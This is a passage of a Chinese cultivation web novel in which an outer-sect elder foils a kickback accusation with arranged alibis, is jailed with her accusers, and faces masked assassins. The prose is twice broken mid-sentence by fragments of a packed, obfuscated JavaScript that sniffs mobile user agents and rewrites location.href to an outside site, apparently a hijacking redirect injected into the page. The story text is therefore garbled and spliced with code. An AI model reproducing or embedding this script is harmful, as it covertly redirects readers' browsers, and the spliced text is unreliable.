“不错不错,这件事说到底就是我和他的私事,只要我们两个同意就行。”舒新微笑道,“而且没有我打扰,司徒的修为只会进展的更快。这些年,也算是我耽误他了。” “并无。”司徒间摇摇头,“你对我恩重如山,以后若有驱使,任由吩咐。” 舒新微微挑眉。 看来司徒间还挺在乎情谊的,在这种公开场合说这种话,看样子是想要保她一把了。 “哪里哪里,都是你自己努力。”舒新也跟着客气。 这下,观礼的人是真的没话说了。 解除婚约这种事情,闹的老死不相往来的都常见,这么客客气气的还真是第一次见。 可能,真的是关系一般? “我还是将场地让给诸位吧,我不能喧宾夺主。”舒新笑了笑,“大家继续论道,我便不打扰了。” 说罢,舒新就熟练后退,似乎不愿意再成为众人的焦点。 赶紧走吧,赶紧离开这里。 林悠薇忍不住在心里如此说道。 舒新也一步步离开,眼看着就要离开宴会场地。 恰在这时,执法堂的长老带着几个人上前,刚好堵在舒新面前。 “舒长老,我们查到你正好接了一个宗门任务,要外出十年,可对?”为首的执法长老似乎完全没有“家丑不可外扬”的想法,直接在宴会门口就将舒新给堵住了。 来了。 舒新心中有数。 果然,林家不想这么轻易放过自己。 要是自己今天能够顺顺利利的离开这个会场,就算林家再用其他名义来阻碍自己,司徒间那边也能帮忙挡下来。而且,一旦离开了这种重要场合,之后就算自己有什么问题,宗门这边也能压下来,想要动手杀掉自己这么一个道婴境的外门长老就很难名正言顺了。 “不错。”舒新点了点头,“我最近不方便待在宗门,所以想要外出游历一番,请问有什么问题么?” “倒也没有太多问题。”执法长老摸了摸自己的胡子,脸上的笑容带着十足的冷意,“只是希望舒长老您亲自解释一下,这一次宴会的灵果质量和价格不匹配,灵果商人举报您中饱私囊,以权谋私,这可是违反门规的,事情既然捅到了我们执法堂,自然不能视而不见,还请舒长老您随我们回去配合调查。若您是清白的,再去做任务不迟。” 宴会门口的动静,俨然也吸引到了宴会里面的人。 不少修士都将视线投了过来。 “这就怪了。”舒新见对方从这一招上出手,先惯性的装傻了一句。 吃回扣这种事,虽然是潜规则,但终究是不能摆在明面上来说的。 真查起来,对方要是查个十年八年,再说自己越狱逃跑被就地打杀,自己也是一点招都没有。 【看吧,你吃回扣的事情被发现了。】剑灵颇有些幸灾乐祸,【我就说这样不行。】 “好歹也是在宗门屹立不倒这么多年的世家,要是这点本事都没有,我会很失望的。”舒新半点没有害怕的样子,“我既然敢吃回扣,就有把握他们抓不住我的把柄。” 这年头,谁吃回扣还蠢得留痕啊? “执法长老,我请求执法堂好好的审问一番这位灵果商人,为我以正清白。”舒新义正言辞的说道。 “哦?舒长老这是不认了?可这灵果采购之事,一直都是经过舒长老你的手。”执法堂长老质问道。 “我为什么要认?”舒新诧异道,“我长生道宗偌大宗门,我身为外门长老,负责采购的何止灵果一项?这位商人说我中饱私囊,敢问可有白纸黑字?敢问可有他人在场?敢问可有我威逼利诱?若是都没有,说我违反门规又从何谈起呢?” “舒长老,我可是送了你采购款的一成灵石,你可别不认啊。”灵果商人连忙说道,“就在三个月前的七号,我亲手交给你的。” “你确定是亲手交给我?”舒新反问。 “这种事你怎么会亲自出手做?我是交给了你的属下。”灵果商人当即反口。 “还请执法长老将我的手下当面请来对峙。”舒新拱手说道,“万万不能被这不知来历的人冤枉了好人。” 执法堂长老有些狐疑的看着舒新。 她吃回扣的事情已经铁证如山,而且这件事宗门里知道的也不少,难不成她还能颠倒是非不成? “三个月前的七号?我压根不在宗门,我在陪着宗门王长老在外巡视。” “我也不在啊,我那一天都在闭关,我们宗门的灵气洞天都有我的闭关记录,可以随时调取。” “我?我么?还请执法长老明鉴,我那一天不是在你们执法堂里询问宴会举办要注意哪些问题啊?我忙的抽不开身,哪里有时间去见一个小小的灵果商人?” 舒新的三个手下全部都走了过来,一个个清清楚楚有三个月前的不在场证据。 若是执法堂要执意查下去,就要连带着将其他涉及的宗门领域也全部都查一遍。 巡查的王长老是另一个世家“上丘王家”出身,不比“锦衣林家”逊色。 最重要的是,这位王长老是出名的不管事只揽功,而且辈分高,什么功劳都是他的什么事都是不干的。牵扯到他身上,还关系到工作是否完成的责任问题,他是绝对不可能承认的。 掌管灵气洞天租借的,更是有好几个世家,他们的记录乱的提篮桥的会计都摇头,谁来了也说不清楚,更加不可能查。 甚至,执法堂看着唬人,实际上也从不打卡,里面很多弟子来来去去根本就说不清楚,这怎么也不能尿到自家来。 区区一个灵果商人,值得这样大的代价么? “执法堂长老还是太天真了,宗门势力盘根错节,我们虽然吃回扣,但该打点的可一个没少。宗门上下那么多修士,那么多条利益链,谁会为了一个灵果商人的指控将自己也置于危险之中呢?”舒新对着剑灵狂笑,“每一次的交易日,我都是做好了充足的不在场准备的。这点小事就想要搬倒我,这是妄想!有本事,执法堂将整个宗门都翻个天!” 【你这心机,要是用来修行,你早就是洞天真人了。】 “啧,我这个屁股不干净的,当然要防一手。你以为我平时对我的手下那么好,给他们和他们家族那么多分成是为什么?不就是为了关键时刻推卸责任。”舒新回答道,“这年头,不怕被人甩锅,就怕锅甩到了自己头上却扔不出去。提前留下点工作痕迹,是自保的好办法。” “舒新只是一个外门长老,如今又要远离宗门去游历,你们可不要妄图包庇她!”执法堂长老见状,也知道今天自己来这里怕是站不住脚了,只能严厉呵斥舒新的三个手下,企图逼问出对舒新不利的结果来。 舒新给了手下们一个眼色,手下们立刻就心领神会。 “长老,我们冤枉啊。” “我们虽然修为低下,却也一直为宗门兢兢业业的做事,欲加之罪何患无辞啊。” “长老,我们错了,我们错就错在没有听这个商人说的以次充好,这才让他有机会来污蔑我们。” 手下们就地一跪,一个去拉执法堂长老的衣袖,一个去抱执法堂长老的大腿。 还有一个开始说哭就哭。 舒新也不甘示弱,也跟着擦眼泪。 “我……我也不知道是动了谁的馅饼,大概是被某些人做局了吧。我也知道我惹人讨厌,这么多年一直和司徒有婚约。可是我如今已经退让,也不知道是谁这么逼迫我,我……我真是不如一死了之。” 说罢,舒新作势要拔出剑来自刎。 “住手。” “停下!” “等等。” 宴会大厅里,三道截然不同的声音同时响起。 这三个声音分别来自司徒间、许观和林悠薇三个人。 舒新眼皮子动了动,压住手中的剑。 “给我老实点,别有个人喊‘等等’你特么就激动,你又噬不了主,激动个屁啊。”舒新恶狠狠的对着剑灵说道。 【那我磨破你点皮也好啊,我看看你的脸皮到底有多厚。】剑灵跃跃欲试。 “你不是不喜欢这个名字么?” 【要是能趁机蹭破你点皮,我暂时认一下这个名字也没关系。】 “少来,这个时候给我老实看戏啊混蛋!”舒新没好气的说道,“我这场戏演的也不容易。” 三人依次飞了出来。 不少看戏的修士也跟着跑了出来。 “执法长老,舒新进入宗门已经百年,缘何不信宗门弟子却信外人?”司徒间声音冷淡,话语里已经有了质问之意,“若是执法堂执意如此,我也要上报宗门。今天本是我举办的宴会,在我的宴会里抓我的……好友,也未必太过分了。” “这就是你们长生道宗的待客之道?小女也长了见识。原来外人胡编乱造几句也可以啊。”许观身后一个长相娇俏的少女悄悄探出身来,仗义执言了几句。 “长老,这事恐怕还需要好好查探。”林悠薇冷汗都下来了,要是舒新真的在这里自杀了,她死不死不好说,但这屎盆子肯定要扣在他们林家头上。 虽然这事就是林家做的,但林家可不能认。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16676888|188311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 执法堂长老此刻也是骑虎难下。 他只收到命令,用这种方式将舒新暂时带到执法堂去,之后就不用他管了,加上还有灵果商人这个人证在,本就是顺手的事情。 谁知道,情势急转直下就变成了这个样子。 执法堂长老都没有回过神来怎么个事儿。 现在这个情况…… 执法堂长老脑海急转,知道这件事肯定是不能揽在自己身上的,但也不能将自己背后的人说出来,那样自己就得受门规处置了。 “说,你到底是哪里来的奸细?在这个大好日子污蔑我道宗长老?”执法堂长老一道灵气挥过,直接将灵果商人击倒在地,严声呵斥道。 灵果商人在地上翻滚了好几圈,一直吐血,愣是没能说出什么辩解来。 “诸位,此事看来还有几分值得商榷之处,多半是这灵果商人故意污蔑。这样,舒新长老先随我回执法堂,清者自清,我相信宗门一定会给出公正的判决的,是吧,舒新长老?”执法堂长老爽朗一笑,似乎提出了什么很好的建议一般。 呸,老臭虫,鬼知道你们执法堂“伪造”了什么证据,去了才是有理说不清。 舒新才不接这个话茬,只是伤心落泪,“我知道,我只是野修出身,哪怕我兢兢业业为宗门付出,也终究是一场空。道心动摇,我活着还有什么意思?还是死了一了百了,只是可惜了司徒你的好日子,我们来世再做好友吧。” 说完,舒新又要动手自戕,但是手上的剑愣是没有动一分。 大家都知道她在装蒜,但是谁也不能说“你真自杀一个看看”。 他们是名门正派,可不是魔修啊。 “舒长老,有话好说。”林悠薇急得不行,正要说什么,耳边忽然传来一道神识传音,脸色僵硬了一瞬,却也只能硬着头皮上前说道,“执法堂肯定会还你清白,要不我随你一同前去如何?” “我一个清清白白的修士,进了执法堂,谁知道外面会传出什么话来?不如死了。”舒新还是要闹。 “胡说,执法堂公正严明。”执法堂长老伸手想要去拉舒新。 “呵呵,明明你们执法堂师徒关系混乱,我听说前些日子执法堂某位长老还收了一个十八岁的练气修士当侍妾,我清清白白一个女修,我才不去那种地方。” “舒新,注意你的态度。”执法堂长老脸色涨红,这种事情舒新怎么知道的?他的侍妾分明没有住在宗门里啊。 啪啪啪啪。 一阵掌声传来。 “精彩精彩。”许观忍不住鼓起掌来,旁边的吃瓜修士眼中也是异彩连连。 哇哦,这票没白买。 这灵石花得值。 “你们长生道宗既然容不下人家一个野修出身的修士,不如来我问神宗好了。”许观鼓掌道,“舒新长老,不如来我宗门如何?我问神宗虽然实力不济,但胜在人丁寥落,没有这么多弯弯绕绕的事情。我想,长生道宗也不会拒绝吧。” “我当然愿意!”舒新眼睛一亮,也懒得装了。 这戏演到这里,差不多也够本了。 许观可以啊,虽然不喜欢她但是他乐意给长生道宗添堵。 果然敌人的敌人就是朋友。 这话真是放之四海而皆准。 “那此事就这么定了。”许观笑道,“长生道宗与我宗早有约定,若是有长生道宗弟子自愿到我问神宗来,宗门也不会阻止。择日不如撞日,我们今日将这位舒新带走便是。贫道想,这长生道宗的执法堂,也管不到我问神宗的弟子,是也不是?” 执法堂长老和林悠薇都有些诧异。 这好端端的,问神宗掌门怎么就插一脚了? 不等林悠薇和执法堂长老说话,就已经被人抢先。 “那就有劳许掌门了。”司徒间微微颔首,“我这位好友性格纯良,从不惹事,的确更适合简单些的宗门。” 这话说的,舒新都有些惭愧。 司徒还真是够义气,大家认识这么多年了,这么昧良心的话他都说的出来。 “那此事就这么定了。”许观也乐意早点收下十万灵石,“舒新,还不到为师这里来?” “好。”舒新正要过去。 “慢!”另一个浩大洪亮的声音传来。 一黑一白两道身影接连落下。 “许师兄,好久不见。”黑衣中年人朝着许观微微拱手,“我长生道宗的弟子要转投他门,怎么也要先上报宗门才是。加上舒新身上还有冤屈未明,我长生道宗怎么能让一个弟子含冤离开?” “不错,我老林也绝不答应。”白衣人和林悠薇有几分相似,也跟着开口说道。 此人正是林悠薇的亲大伯。 也是刚才传话给林悠薇的人。 “哦,原来是我那位,和长生道宗某位天之骄女一见钟情,不惜背叛师门选择入赘的好师弟啊。”许观看着这个黑衣道人,声音冷漠了下来。 “哇哦,这下轮到我们吃瓜了。”舒新啧啧称奇,对着剑灵感叹道。 【……贵宗真乱!】剑灵没好气的评价道。 7.第 7 章 许观对自己的这位师弟秦若山可以说是恨得半死。 什么和长生道宗的女修一见钟情,那都是骗外人的说法。 许观和秦若山是一个村子里长大的放牛娃,当初师父游历人间见他们两人根骨出众,才将他们带回问神宗,并且重新给他们取了名字,悉心教导。 当初师父明明可以拿宗门的资源给自己修炼,却还是将修行资源给了他们这两个徒弟,指望他们两个能够早日光复山门。结果只是去长生道宗走了一圈,秦若山就做出这种背叛宗门的事情来。 若是你当真仰慕那长生道宗,和师父说个清楚明白,再偿还问神宗浪费在你身上资源便可。但秦若山没有这么做,反而直接带着问神宗的东西上了长生道宗,甚至不经过师父同意,将问神宗的功法也转头送上了长生道宗。转头,秦若山入赘的那个世家就假说问神宗的功法是家传绝学,还伪造了“种种证据”,可谓是无耻至极。 问神宗没办法,连个公道也讨不到,还是师父态度强硬,才换来了长生道宗一个“不痛不痒”的所谓承诺。 要不是宗门实在难以为继,舒新又来历清白是那长生道宗“强行招安”的野修,许观就算是穷死都不可能再登长生道宗的门。 “师兄还是这么脾气火爆,这么多年的修身养性看来还是没有什么作用。”秦若山泰然自若的笑了笑,半点也不将许观放在眼里。 他如今也是无垢境界修为,如果还是李家的几个当权者之一,如今他也有资格让之后生下的孩子都随他姓秦,李家也只是睁一只眼闭一只眼罢了。 比起许观这耗费所有宗门资源才能成就的无垢境,秦若山自问自己的未来要比许观好得多。 人不为己天诛地灭。 当初要不是自己带着问神宗的功法卖了个好价钱,如今他留在问神宗里怕是要处处低许观一头。 “舒小友好歹也是我长生道宗弟子,而且林家也愿意为她说情。只要舒小友在执法堂里顺利通过道心考验,自然会放她出去。”秦若山笑眯眯的看着许观,“师兄,当年你我决裂之后,你就不再上过我们长生道宗的山门一步。这一次专门前来,怕是有什么别的打算吧。” 许观闻言冷笑,“是啊,我来看看能不能将你这个欺师灭祖的叛徒砍死。” 几个跟在许观身后的弟子们也是同仇敌忾,恶狠狠的看向秦若山。 “你这几个弟子都是不错的苗子。我这个做师叔的也劝你们几句,修士成就的大小,往往取决于门派根脚。留在问神宗,你们几乎没有可能再进一步了。若是什么时候改变主意,倒是可以来找我。”秦若山大言不惭道。 许观气极,却要动手。 “秦师叔这话说的不错,识时务者为俊杰。”差不多被冷落在一旁的舒新突然插嘴道。 她算是明白了。 怕是许观突然到访,让秦若山忌惮害怕了。加上他对许观的了解,发现许观趁机收自己为徒有阴谋,加上林家人在旁边煽风点火,这不就出来找自己麻烦来了。 没办法,既然想要享受问神宗带来的“换宗”便利,肯定也要承担相应的恶果。 秦若山听见舒新这么插话,也不生气,“舒小友虽然年轻,但是看的倒是清楚明白。” “那是。”舒新给了许观一个“稍安勿躁”的眼神,笑眯眯的说道,“就好比秦师叔您,入赘李家,不过短短几百年就能重新让自己的后代姓秦,可见当初忍受一时入赘之辱是值得的,不然如何能有今日富贵?等到他日我宗门与其他宗门交战,秦师叔您也能故技重施,忍辱负重,转投他们。毕竟,这有一就有二。从小培养您的问神宗都可以离开,长生道宗自然也不在话下。只要价码合适,去哪里不是去?看秦师叔您如今功成名就,就知道吃得苦中苦方为人上人这话半点不假!” 许观和一些看好戏的修士都忍不住笑出了声。 这阴阳怪气的,还挺有水平。 一方面不带任何脏字,听起来像是夸人的话。 另一方面,却也在给秦若山上眼药。 世家和门派总是“别扭”的。一方面他们想要用资源和钱财来让人背叛,另一方面他们又期待别人死心塌地的忠诚于他们,永远当他们的狗。 总之,他们只选对他们有利的。 殊不知,这恶犬养久了是会咬人的。 秦若山何等老奸巨猾,岂能听不出这舒新话语里的恶意? 许观倒是动了几分心思,原本他和舒新不过是各取所需,但她这么会说话,少不得让她教一教自己的蠢笨徒弟们,最好能够将秦若山说的颜面无存,自杀谢罪才好。 “舒小友,我能理解你今日和司徒间解除婚约心情不好,却也不能如此以上犯下。论年纪、论修为、论对宗门贡献,秦长老都远远不是你能够得上的。你如此说话行事,岂不是大逆不道?”林家修士呵斥道。 典。 太典了。 被说了实话而破防的人,都是一样的表现。 “林长老说的是,我年轻小不懂事,秦长老您大人有大量,饶过小女,小女知错了。”舒新当即改换了脸色,低头认错,“您肯定能原谅我的无心之失吧。” 秦若山有火发不出来。 “舒小友如此伶牙俐齿,想必是可以去执法堂自证清白了。”秦若山的笑容里怎么看都带着一股咬牙切齿的劲儿。 司徒间微微皱眉。 这些人反复要求舒新去执法堂,恐怕不安好心。 舒新的心里总算靴子落地了。 之前剑灵问她能不能猜到林家到底要怎么对付她?她还真说不出来。 害人的办法可太多了。 就算她清清白白也能给她编一堆的事情出来,何况她本来就不干净? 不过还是有些意外的。 比如舒新计划的是,今天最好的结果就是许观直接带着自己离开长生道宗,从此这个破宗门就和她没关系了。最差的结果,就是许观反悔,林家暴起杀人,她只能借着剑灵的本事直接杀出去。 现在这个情况,就处于一个不好不坏的状态。 与其被动防守,还不如主动出击了。 想到这里,舒新果断抱拳说道,“我可以去执法堂,不过我要求这位执法堂长老和这个灵果商人都随我一起去,并且我们三人要关在一起,方便对峙。” “不可。”许观当即反驳道。 司徒间看了一眼舒新,却见舒新朝着他微微挑眉,原本的动作便停了下来。 舒新从来不做没把握的事情。 【你疯了?明知道执法堂里都是对你不利的东西你还要跑过去?】 “你呀还是没有看明白。如果我只是我,现在早就跑的没影了。现在,是林家人借机将我卷入了许观和秦若山的恩怨当中。秦若山不知道我到底有哪里不对,也不知道我对许观有什么用。只是凡是许观要的,他都要破坏,明白么?哎,问神宗也不是那么简单的地方,拜入宗门,对我这种向往自由的修士来说,就是从一个茅坑跳到了另一个茅坑。我唯一能够选择的,是选个别人用得少一点的茅坑。”舒新对着剑灵叹气。 与其费尽心机的躲过林家的布置,又不知道他们要搞什么幺蛾子,还不如直接去执法堂好好看看。 执法堂里,林家并不能只手遮天,到时候她就有浑水摸鱼的机会,说不定还能多拉几个人下水,到时候她自然就安全了。 相反,要是贸然去了外面,林家人被逼急了直接买凶杀人,反而麻烦。 【虽然话糙理不糙,但你这也太糙了。】剑灵没招了,【求你了,你对外可千万别这么说话。尤其是在我修复完之后,你要是还这么说话,我前几任主人带着我打下来的赫赫声名都要没了。】 “放心,我还要脸呢。”舒新随口说道。 你压根就没有这种东西! 剑灵觉得自己当初可能杀多了仙人,现在也遭到了报应。 不然怎么会遇见舒新这种主人? “这不过是小事。”林家人笑道,“清者自清,我相信舒小友你一定能够安全出来,我林家愿意为你作保。” “多谢。”舒新也微笑着回应。 “好徒儿,我就在问神宗等你。”许观虽然不怎么通庶务,不过现在看见秦若山这来势汹汹的样子,约莫也知道怕是自己的出现连累了舒新。 其实自己若是不来,只是派遣弟子来是最好的。 只是他这些个弟子,一心修炼,根骨又好,这要是他不陪着,让弟子们前来长生道宗岂不是肉包子打狗? 日后有机会多指点舒新修行就是。 “多谢掌门。”舒新大大方方的,直接对着许观行礼。 “那我们现在就走吧。”舒新对着执法堂长老笑道,“还请长老暂时陪我一起了。” 执法堂长老冷笑着看了舒新一眼。 这小姑娘不明白世道艰险,以为拉着他和灵果商人一起进执法堂关押就能确保自己安全么? 愚蠢。 只要事情顺利,自己就能从执法堂离开,去另一个不得罪人的地方了。 执法堂这个地方着实尴尬,看着像是为宗门肃清不遵守门规的弟子,实际上在宗门成立这么多年之后完全沦为了争权夺利的一把刀。 比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683186|188311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 较起来,来找舒新的麻烦已经是相当简单的一件事了。 【这长老怕是活不了了。】剑灵跟在舒新身边这么久,也大约明白了一些人族的套路,【你们人族,内斗起来可真是比其他种族加起来都厉害。】 “没用的棋子当然是丢了最方便。”舒新对着剑灵说道,“他们既然选择来害我,就先去黄泉路帮林家老祖探探路吧,以后我一定送老林家和他们团聚。” “对了,听说执法堂里有不少被收缴的好东西,到时候我们也看看去。”舒新心里颇为期待。 钱多不压身。 舒新和执法堂长老及灵果商人一同前往执法堂,秦若山看了许观一眼,两人也像是约好了一般到另一边去处理问题去了。 瞬间,好好一场大戏,主角们都不见了。 吃瓜群众们心中也有些无奈,总有些虎头蛇尾的感觉。 许掌门你怎么没和秦若山打起来啊? 前来观礼、看热闹不嫌事大的其他宗门的弟子和长老,是相当乐意看见问神宗给长生道宗找点麻烦的。 “让诸位见笑了。”司徒间拱手说道,“若是承蒙不弃,还请诸位道友继续随我论道。” 林悠薇看了一眼神色如常的司徒间,心里颇有些不是滋味。 虽然她是想要将司徒间从舒新手中抢走,但舒新如今去了执法堂司徒间却一点反应也没有,不由感叹这个男人实在太过冷漠无情。 “说起来,司徒小友,你与舒新已经解除婚约,是不是也该考虑一下与我这不成器的侄女的婚事了。”林家大伯没有跟着秦若山一起,自然是留在了人群之中。 今天他来,除了想办法将舒新弄到执法堂去,更重要的还是将司徒间和林悠薇的婚事定下来。 也不知道这舒新有什么特殊之处,居然值得老祖下令要除了她? 司徒间的脚步一停。 其他修士也跟着看了过来。 前脚解除婚约,后脚就有人上门逼婚。 这司徒间果然是很受重视啊。 “林长老方才没来,或是有所误会。”司徒间淡淡道,“本人无心情爱,一心修行。当初和舒新订立婚约是为偿还恩情,如今解除也是为了顺应道心,自然不会再与他人订立婚约,大道漫漫,只争朝夕。” 林家大伯闻言脸色已经变了,林悠薇的脸色也好不到哪里去。 “司徒间,你这是欺我林家无人?”林家大伯瞪了林悠薇一眼,寻思这不成器的侄女还真是不行,人家婚约都解除了居然还拿不下司徒间么? 林悠薇都怀疑自家大伯是来给她添堵来了。 哪里有人在这种时候直接明抢的?好歹得等这段风头过去,再说婚姻之事不急。 大伯这把年纪也只能跑跑腿,真不是没有原因。 “司徒道友,我家大伯或是有所误会。”林悠薇顶着他人揶揄的目光,尴尬上前解释道。 “林长老的确是误会了。”司徒间见顿了顿,不慌不忙的拿出一枚精美异常的玉佩来。 一看便知是锦衣林家的玉佩。 “我已经拜入老祖门下,只是尚未正式行拜师礼。”司徒间朝着林悠薇和林家大伯说道,“只是原本打算推迟一些再说这个消息,也是赶巧了。等我他日正式行过拜师礼,再论尊卑。” 要是司徒间成为老祖弟子,辈分就完全搞出他们好几个档次。他们再见到司徒间,怕是也只能称呼一声“司徒老祖”了。 这是什么时候的事? 司徒间虽然是宗门核心弟子,但应该并没有正式拜师,教导他的也只是一些挂名师父才对。 若是他已经正式拜师,林家哪里还会出来联姻拉拢?早就被打上他师父那一脉的势力印记了。 林家大伯和林悠薇都愣住了。 尤其是林悠薇,好像突然明白了为什么老祖会突然喊她过去,又为什么一定要对舒新动手? 恐怕司徒间早就在她和舒新接触之前就已经和老祖商量好了,现在不过是老祖借着她的手来解除和舒新的婚约而已。 老祖向来霸道多疑,不会放任任何隐患留在司徒间身边。 所以舒新也必须死。 想要进入林家,就要抛弃一切,全身心的为林家奉献。 反正对于老祖来说,只要司徒间愿意效忠林家,自己也好,大伯也好,不过是两个无用子嗣,哪怕日后司徒间查出舒新遇难和林家有什么关系,他们两个人也可以被丢出去平息司徒间的怒火。 一时间,林悠薇只觉得手脚冰凉。 她发现自己看不透老祖。 更加看不透眼前的司徒间。 8.第 8 章 执法堂的监牢坐落在长生道宗的一座灵气稀薄、且被群山层层包围的湖泊中间的小岛上。 说到这里就不得不提一句长生道宗所占的面积之广了。 舒新来到这宗门差不多也有一百年了,这么说吧,她至今都没有走遍这宗门的每一处地界,这还是在她会飞的情况下。 粗略估算,长生道宗的占地面积,少说也有前世一个亚洲那么大。 而执法堂所在的“思清湖”,也差不多等同于一个面积稍小的大海了。 被关进执法堂的修士,想要逃跑几乎是难上加难。因为这湖泊周围的群山,每一座山都有一个修真世家坐镇,只要他们启动阵法封山,派弟子一寸一寸搜寻,就算是挖地三尺也能将逃跑的弟子抓回来。因此执法堂哪怕名声不太好听,但是在宗门里还是有威慑力。 执法堂的监牢外观上是一座塔,高耸入云,按照修士的修为和罪名划分,一般违背门规的弟子也就是被关在最下面一层自我反省而已。 最下面一层的监牢的房间,差不多也有一百多平,该有的东西都有。 舒新一行三人就是被暂时关押在这里的一间房里。 因为他们还没有定下罪名,因此被关在一起,甚至都没有将他们身上的法器收走,可见哪怕被关,他们也没能得到足够的重视。 注定将死之人,哪里配得上用长生道宗花费这么代价铸造的监牢来关呢? 来的路上,舒新才知道前来抓自己的执法堂长老姓胡,而那个灵果商人姓陈。 具体他们叫什么舒新没记,因为就这两个人的智商,估计也活不到下一集。 这不,胡长老现在还没有意识到自己要面临着什么呢? “舒新,一旦被关进湖中监牢,你的下场也可以预见。等你到了黄泉,记得别报错了仇人的名字,我只是奉命行事,和你无冤无仇。要怪,就怪你生来就没有根脚,偏偏又天赋扎眼吧。”胡长老说起这话,多少带着少许私人恩怨,话里话外都是嫉妒。 谁能不嫉妒舒新呢? 明明只是一个无依无靠的散修,居然能够在外界那么稀薄灵气的环境里叩问道关成功,连长生道宗都舍不得她的天赋将她招进宗门。 可惜这百年来,舒新为了成就道婴耗光了潜力,再也没有寸进一步,甚至也拒绝了无数世家的示好,才会一步步沦落到这样的境地。 胡长老恨舒新心高气傲浪费机会,又恨不得以身代之。 “你要是当初和司徒间解除婚约,早点嫁入某个世家。以你的傲人天赋,少说也有一个嫡系子弟与你相配。等你他日诞下麒麟儿,便可成为世家真正的自己人,哪里会沦落到现在这样的地步?你当初的坚持不觉得可笑么?司徒间还是与你解除了婚约,还要成为林家人,可你却是什么都没了。” “听起来胡长老很遗憾啊,当初您要是狠狠心,给自己一刀,再给自己塑造一个女身,不就可以心想事成了?”舒新半点也不惯着。 早些年吧,那些世家的确是来找过她,给的资源的确也让舒新很心动。 要真来一个样样好的世家弟子,舒新还真不一定把持得住。 命都能卖,何况正经卖身? 可惜啊,那些被挑选出来的所谓世家弟子,一个个资质不堪只剩下传宗接代这一条路子也就罢了,而且眼高于顶,无恶不作。哪怕舒新自认不是个好东西,也着实被恶心到了。 总之,她私下里用那些所谓的世家弟子的血肉来清洗剑灵的剑身,居然也有效?可见这些人不是东西到了何等地步! “胡长老,等会儿真的会有人将我们放走么?”陈姓商人已经有些焦急了,“我们都被关在这里一个时辰了,都没有人来见我们。” “着什么急?总要给他们一点疏通的时间。”胡长老呵斥道,“到时候按照提前商量好的做就是了。” 他们两个人已经光明正大的开始讨论起离开这里之后拿着资源要如何使用之类的话语来了。 真是够蠢的。 他们甚至还觉得自己能够出去。 也对,但凡聪明一点,他们都不会得意洋洋的来替林家干这种蠢事。 舒新干脆找了个蒲团打坐,懒得去看这两个死到临头还不自知的傻子。 【哇哦,舒新,这座塔上面可关了不少魔修,要是能用他们的血肉清洗剑身,我估计少说也能洗掉我身上大半的血迹。】剑灵忍不住感叹道,【不过也就想想了,上面每一层都有大修士坐镇,他们发现不了我,但是杀你绰绰有余了。】 “肯定,宗门花这么大代价修建这湖中监牢,总不至于是为了处罚我们这种小虾米的。”舒新随口回答道。 【不过你们人族真奇怪。你们以前不是讲究斩草除根么?为什么你们抓了这么多的魔修不杀,还放在这里关着?】 “当然是为了威慑啊,也是为了给自己留点后路。”舒新回答道,“抓了这么多魔修在这里,才能显出长生道宗和其他门派不一样,他们有抓人的能力也有放人的能力。再者,你怎么会知道这些魔修没有用呢?说不定很多脏事,都可以让他们去做呢。” 【人族真卑鄙。】 “恭喜你,你又多了解了人族一点。” 【来了,有三个洞天真人,你小心些。】 舒新立刻睁开了眼睛。 等了这么久,总算等到点像样的人来了。 剑灵话音刚落,三个身影缥缈,脸上还带着面具的修士就齐刷刷的出现在了舒新面前。 他们脸上的面具应该是某种法宝,能够阻断神识,让人看不清他们的面容和修为。 哟,还知道杀人灭口要掩藏自己? 舒新轻笑了一声,“总算来人了,我还以为要一直将我关在这里呢。” “舒新,你的死期到了!”胡长老眼睛一亮,连忙上前恭敬的行礼,那陈姓商人也跟着跪在地上。 “三位前辈,你们一定是来对付她的吧,我们是自己人,已经按照吩咐将她带来执法堂里关押……”胡长老话还没有说完,他和旁边陈姓商人已经尸首分离。 “我……我是执法堂长老,你们怎么能杀我?”胡长老的头颅还有灵性未灭,只是面目狰狞,似乎无法相信自己就要这么死了? “舒新杀人后越狱逃跑,被当场打杀,这就是接下来的剧本。还有什么,比和我关在一起的你们死了更加方便的栽赃陷害?”舒新在一旁淡淡说道,“从你们和我关在一起的时候,就注定要死了。” “是你!”胡长老瞪大眼睛,“你是故意的。” “我只是给个提议,可动手的可不是我。胡长老,你都要死的人了,还如此欺软怕硬,啧啧。”舒新感慨两句,那胡长老已经被这几个洞天真人一掌拍成肉泥。 给这些大人物当狗,就别指望他们对你还有什么怜悯之心了。 “你很聪明。”三人之一说道,“交出你身上的灵石和五方山水印,说不定还有保存元神真灵投胎转世的机会。” “我看起来像是这两个人这么蠢么?”舒新大笑,“倒是三位真人藏头露尾的,还肯和我说这么多,怕是不方便认真和我动手,以免引起上面那些镇守监牢的真正的执法堂长老们的注意吧。” 胡长老这种,根本连执法堂的内门都摸不到边,不过挂个执法堂名头,还真当自己是什么人物了。 “对付你,不惊动上面,也足矣!” 说罢,一个真人一掌拍来,就要将舒新击毙在掌下。 “等等,且慢!”舒新大喝一声。 那动手的真人掌势稍稍一顿,但就是这么一刹那的时间,舒新腰间别着的两把剑已经出鞘,对着场上的三人刺了过去。 两把剑动如雷霆,看起来平平无奇甚至还有些难看的剑身却在这方寸之地展现了惊人的战斗力。 长剑破空,带着一往无前的剑啸之声,剑刃之上还夹杂着少许雷霆之力。 雷霆掌阴阳之变,杀伤力惊人,向来是无数修士极为推崇的强大术法。 